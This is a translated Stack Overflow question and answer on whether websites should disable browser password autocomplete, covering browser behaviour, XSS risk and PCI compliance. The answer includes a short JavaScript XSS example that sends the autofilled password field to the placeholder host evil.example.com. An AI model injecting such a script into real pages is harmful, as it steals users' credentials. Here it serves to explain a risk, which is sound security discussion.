【问题标题】:Should I prevent password autocomplete?我应该防止密码自动完成吗?
【发布时间】:2016-09-13 04:13:26
【问题描述】:

如何上有很多replies here 来防止密码表单元素自动完成。我的问题是应该我们吗?

根据UK government;强制密码重置(客户经常要求我们这样做)描述了安全性的净损失,我们强烈建议不要这样做。

根据Mozilla;强制关闭密码自动完成表明安全性净损失。英国 .gov 网站 doesn't mention 这种特殊做法。

我的问题:

  • 我应该尝试阻止密码自动完成,强制用户记住他们的密码,还是自动完成提供净收益?

// 请注明出处。

【问题讨论】:

    标签: security autocomplete passwords standards


    【解决方案1】:

    更新:My blog 有一个概念证明,如果你想在浏览器中尝试的话。

    允许密码自动完成的典型风险是,您网站上的任何 XSS 漏洞都会允许攻击者获取密码。这是因为浏览器会自动完成密码字段的值,所以它会在 DOM 中可用。

    <script>
    new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
    </script>
    

    但是,如果攻击者可以在他们的 XSS 攻击中自己注入密码字段,则无论您的真实密码字段上的自动完成设置如何,他们都可以注入启用了自动完成功能的密码字段。不过,传统上,该属性会首先阻止密码被保存,因此在任何攻击中都无法自动完成。

    根据您的Mozilla link,浏览器现在会忽略autocomplete="off"

    • 如果网站为表单设置了 autocomplete="off",并且表单包含用户名和密码输入字段,则浏览器仍会提供 记住这个登录,如果用户同意,浏览器会 下次用户访问此页面时自动填充这些字段。
    • 如果站点将用户名和密码输入字段设置为 autocomplete="off",则浏览器仍会提示记住此登录信息,并且 如果用户同意,浏览器将在下一个自动填充这些字段 用户访问此页面的时间。

    这是 Firefox(自版本 38 起)、Google Chrome(自 34 版起)和 Internet Explorer(自版本 11 起)中的行为。

    因此,您的问题的答案是“没有任何区别”。此外,浏览器有时会在完成登录凭据之前提示,并且可以将 Lastpass 等密码管理器设置为不自动完成字段,而无需用户选择首先使用哪个登录。一些漏洞扫描器(以及因此依赖这些漏洞的渗透测试者)可能会引发一个低风险问题,即在密码字段上启用了自动完成功能。如果是这样,您应该能够自信地将他们指向 Mozilla 链接的方向。 但是,需要注意的一点是,如果您获得 PCI 合规性,您可能仍需要对此进行补救。请参阅my blog post 以获得更深入的分析。

    【讨论】:

    • 谢谢@silverlightfox。我没有考虑过 XSS 的复杂性。对于它的价值,autocomplete="new-password" 在 52 版的 Chrome 中仍然有效;它不会阻止密码的存储,但会阻止后续访问的完成。从我在 FF 中可以看出的没有影响。
    猜你喜欢
    • 1970-01-01
    • 2021-07-30
    • 2015-06-30
    • 1970-01-01
    • 2015-08-18
    • 1970-01-01
    • 2010-10-15
    • 1970-01-01
    • 2016-01-19
    相关资源
    最近更新 更多